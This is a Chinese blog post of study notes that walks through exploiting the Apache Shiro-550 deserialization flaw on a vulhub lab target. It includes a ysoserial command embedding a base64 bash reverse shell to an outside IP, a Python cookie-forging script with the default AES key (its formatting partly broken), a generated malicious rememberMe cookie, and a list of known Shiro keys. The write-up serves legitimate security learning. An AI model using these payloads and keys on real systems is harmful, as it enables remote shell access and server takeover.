【Web】vulhub Shiro-550反序列化漏洞复现学习笔记

目录

Shiro简介

复现流程

工具一把梭

半脚本半手动

原理分析

反序列化入口

常见的key

登录过程

验证过程

利用原理


Shiro简介

Apache Shiro 是一个强大且易于使用的 Java 安全框架,用于身份验证、授权、加密和会话管理等安全功能。Shiro 的设计目标是简单直观,同时提供了全面的安全功能,能够帮助开发者轻松地添加安全性到他们的应用程序中。

主要特点包括:

  1. 认证(Authentication):Shiro 提供了灵活且易于使用的认证机制,支持多种认证方式,包括基于用户名密码的认证、LDAP 认证、OAuth 认证等。

  2. 授权(Authorization):Shiro 支持基于角色和权限的访问控制,可以定义细粒度的权限控制策略,保护应用程序中的资源。

  3. 会话管理(Session Management):Shiro 管理用户会话,支持本地会话存储、集群环境下的分布式会话管理,并提供了会话超时、定时清理等功能。

  4. 加密(Cryptography):Shiro 提供了常用的加密算法和工具类,用于处理密码加密、数据加密等安全需求。

  5. Web 支持:Shiro 提供了与 Web 框架集成的支持,可以很方便地在 Web 应用中使用 Shiro 进行安全控制。

复现流程

工具一把梭

启动vulhub靶场

先爆破密钥(shiro550的key是固定的硬编码)

再探测利用链

最后直接拿到shell命令执行

半脚本半手动

启动vulhub靶场

Runtime.exec Payload Generater | AresX's Blog

先用这个网站生成给ysoserial用的payload

 用ysoserial启动一个JRMP服务器

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}"

用这个脚本跑恶意cookie的payload(作用是连接到ysoserial启动的服务器)

#define PY_SSIZE_T_CLEAN
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):# 打开JRMP客户端,连接到特定端口popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)# 用获取到的key  AES加密BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")# 生成随机16位长度的IViv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())# base64编码base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])   
print("rememberMe={0}".format(payload.decode()))
python shiro.py 124.222.136.33:8888

生成的payload:

rememberMe=+XdqwyPART24Wzqx6uxQb+ITZbqHNJDvYx8kyu7dAAlwMgUX5dqy3ajClFgQnOkw/vXv+9+Rohr1fGqnMp0032QNU9gIUPLr3tr+RQf0g1wq43QtV2tIlU8EHyjlEZmv1vXygubJJxaehwwKV9hNY4a/ILKzHTBN8elVvS3wnN58fKieJHGHItEZlfPqvXbvZYtr5mZvw5Bqg9yoGdy+l6i4XjtBZwqqGgJ2Ea3Dmsm1Iy63RUwOagGlK+BkE1kfufF3i+Jk/Xkz3nlTWfT5Pc0eRdjpudTQ2X+DCJhBuVnwXPYUVX6UmMmRIU+UBAHvZyFL/N8L1Ibrb5KfTybgwTtTbv3215WxvUroQmACFNJFC3aDR1ep4aPrZ0TA+9NvOCjV2dJ22Tcrdzo34Yv3Hg==

最后在靶机登录时勾选rememberme(不要求能登录成功,只要让cookie反序列化就行)

bp抓包改cookie

监听下1337端口,成功反弹shell

原理分析

反序列化入口

remember me
序列化 -> AES加密 -> Base64编码 -> 写入Cookie
身份认证:
Cookie值 ->Base64解码 -> AES解密 -> 反序列化

常见的key

kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

登录过程

验证过程

利用原理

1、先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器
2、把这个命令序列化、AES加密、base64编码(payload2),写入到Cookie,发给漏洞服务器
3、漏洞服务器:base64解码、AES解密、反序列化,执行恶意命令,连接到JRMP服务器
4、JRMP服务器继续发送恶意payload1,利用CC等通用库的漏洞执行命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2775056.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

猫头虎分享已解决Bug || Python Error: NameError: name ‘variable_name‘ is not defined

博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能! 专栏链接: 🔗 精选专栏: 《面试题大全》 — 面试准备的宝典!《IDEA开发秘籍》 — 提升你的IDEA技能!《100天精通鸿蒙》 …

6个好看的wordpress模板

简站wordpress服务业通用主题 2023年立秋纪念版,简站wordpress服务行业通用主题,适合服务行业企业官网使用。 https://www.jianzhanpress.com/?p5393 小语种翻译wordpress主题 小语种国家外贸网站建设需要的wordpress主题模板,适合做小语…

Pinia介绍和使用

1. pinia是什么 Pinia 是一个基于 Vue.js 的状态管理库,用于管理应用程序的数据。它提供了一种简单、直观且可扩展的方式来组织和访问应用程序的状态,下面是详细介绍 基于 Vue 3:Pinia 是专门为 Vue 3 开发的状态管理库,充分利用…

【若依】若依框架在本地运行的操作方法,及踩坑记录

若依框架简介 若依是一个Gitee上一个开源的基于SpringBoot开发的轻量级Java快速开发框架,用以快速构建后台管理系统,点击跳转到官方地址 本机部署过程 Step1. 下载项目源码 我选择的是直接下载zip压缩包,解压后得到如下文件夹&#xff0c…

QLabel重绘实现圆角矩形图片/文本和图片同时显示

QLabel一般用于显示一段文字,这段文字可以被鼠标选中/复制,也可是设置自动换行等,还可以用于显示图片。 但是使用QLabel显示图片时,qss样式设置的圆角radius属性是不生效的。 QLabel显示纯文本时,设置了背景颜色后&a…

WifiConfigStore初始化读取-Android13

WifiConfigStore初始化读取 1、StoreData创建并注册2、WifiConfigStore读取2.1 文件读取流程2.2 时序图2.3 日志 1、StoreData创建并注册 packages/modules/Wifi/service/java/com/android/server/wifi/WifiConfigManager.java mWifiConfigStore.registerStoreData(mNetworkL…

pytorch入门第一天

今天作为入门pytorch的第一天。打算记录每天学习pytorch的一些理解和笔记,以用来后面回顾。当然如果能帮到和我一样的初学者,那也是不胜荣幸。作为一名初学者,难免有些地方会现错误,欢迎各位大佬指出 预备知识 这里主要介绍pyto…

面向对象的三大特征之一继承

继承 继承的特性 概念:可以使得子类具有父类的属性(成员变量)和方法(成员方法),还可以在子类中重新定义,追加属性和方法。 继承的格式: public class 子类名 extends 父类名{} 父类:基类、超类 子类:派生…

React + SpringBoot + Minio实现文件的预览

思路:后端提供接口,从minio获取文件的预览链接,返回给前端,前端使用组件进行渲染展示 这里我从minio获取文件预览地址用到了一个最近刚开源的项目,挺好用的,大伙可以试试,用法也很简单 官网&am…

C语言笔试题之实现C库函数 pow()(递归的思想)

实例要求: 1、请你实现C库函数 pow()(stdio.h & math.h) ,即计算 x 的整数 n 次幂函数(即x^n );2、函数声明:double myPow(double x, int n);参数:1、x …

C++进阶(十三)异常

📘北尘_:个人主页 🌎个人专栏:《Linux操作系统》《经典算法试题 》《C》 《数据结构与算法》 ☀️走在路上,不忘来时的初心 文章目录 一、C语言传统的处理错误的方式二、C异常概念三、异常的使用1、异常的抛出和捕获2、异常的重新…

leetcode707. 设计链表

leetcode707. 设计链表 题目 思路 1.使用虚头节点,模拟class的初始化 2.class中添加一个链表长度的属性,便于后续操作 代码 class ListNode:def __init__(self, val0, nextNone):self.val valself.next nextclass MyLinkedList:def __init__(self)…

创新指南|生成式AI实验 - 企业快速渐进采用人工智能的科学新方法

生成式人工智能(Gen AI)正迅速成为各行各业的企业创新焦点。 生成式AI实验对于企业创新而言至关重要,不仅可以帮助企业识别最适合和最有影响的应用场景,还能促进组织沿着生成式 AI 学习曲线前进,建立早期的创新领导者和…

Elementplus报错 [ElOnlyChild] no valid child node found

报错描述&#xff1a;ElementPlusError: [ElOnlyChild] no valid child node found 问题复现&#xff08;随机例子&#xff09;&#xff1a; <el-popover placement"right" :width"400" trigger"click"><template #reference><e…

零基础学Python之Unitest模块

1.unittest简介及入门案例 &#xff08;1&#xff09;什么是Unitest Unittest是Python自带的单元测试框架&#xff0c;不仅适用于单元测试&#xff0c;还可用于Web、Appium、接口自动化测试用例的开发与执行。该测试框架可组织执行测试用例&#xff0c;并且提供丰富的断言方法…

Unity引擎学习笔记之【动画层操作】

动画层Animation Layer 一、动画器的三个基本状态 1. Any State&#xff08;任意状态&#xff09; “Any State”&#xff08;任意状态&#xff09;&#xff1a;这个状态可以用来连接多个状态机的任意状态转换。在动画控制器中&#xff0c;你可以使用“Any State”作为过渡条…

问题:银行账号建立以后,一般需要维护哪些设置,不包括() #学习方法#经验分享

问题&#xff1a;银行账号建立以后&#xff0c;一般需要维护哪些设置&#xff0c;不包括&#xff08;&#xff09; A&#xff0e;维护结算科目对照 B&#xff0e;期初余额初始化刷 C&#xff0e;自定义转账定义 D&#xff0e;对账单初始化 参考答案如图所示

c入门第十篇——指针入门

一句话来说: 指针就是存储了内存地址值的变量。 在前面讨论传值和传址的时候&#xff0c;我们就已经开始使用了指针来传递地址。 在正式介绍指针之前&#xff0c;我们先来简单了解一下内存。内存可以简单的理解为一排连续的房子的街道&#xff0c;每个房子都有自己的地址&#…

94.网游逆向分析与插件开发-游戏窗口化助手-地图数据获取的逆向分析与C++代码还原

内容参考于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;升级经验数据获取的逆向分析 码云地址&#xff08;游戏窗口化助手 分支&#xff09;&#xff1a;https://gitee.com/dye_your_fingers/sro_-ex.git 码云版本号&#xff1a;c4351a5b346d8953a1a8e3ec…

还是蓝海项目?浅谈steam海外道具搬运项目几个常见问题!

做steam这个项目做了已经3年多了。记得刚开始做的时候还是一个很冷门的项目&#xff0c;现在越来越多的朋友也开始了解这个项目。 其中不乏很多已经在别的地方了解过后来找我咨询的朋友。我发现一些同行或者说自媒体太过于虚假宣传&#xff0c;把steam这个项目说的太好了。也有…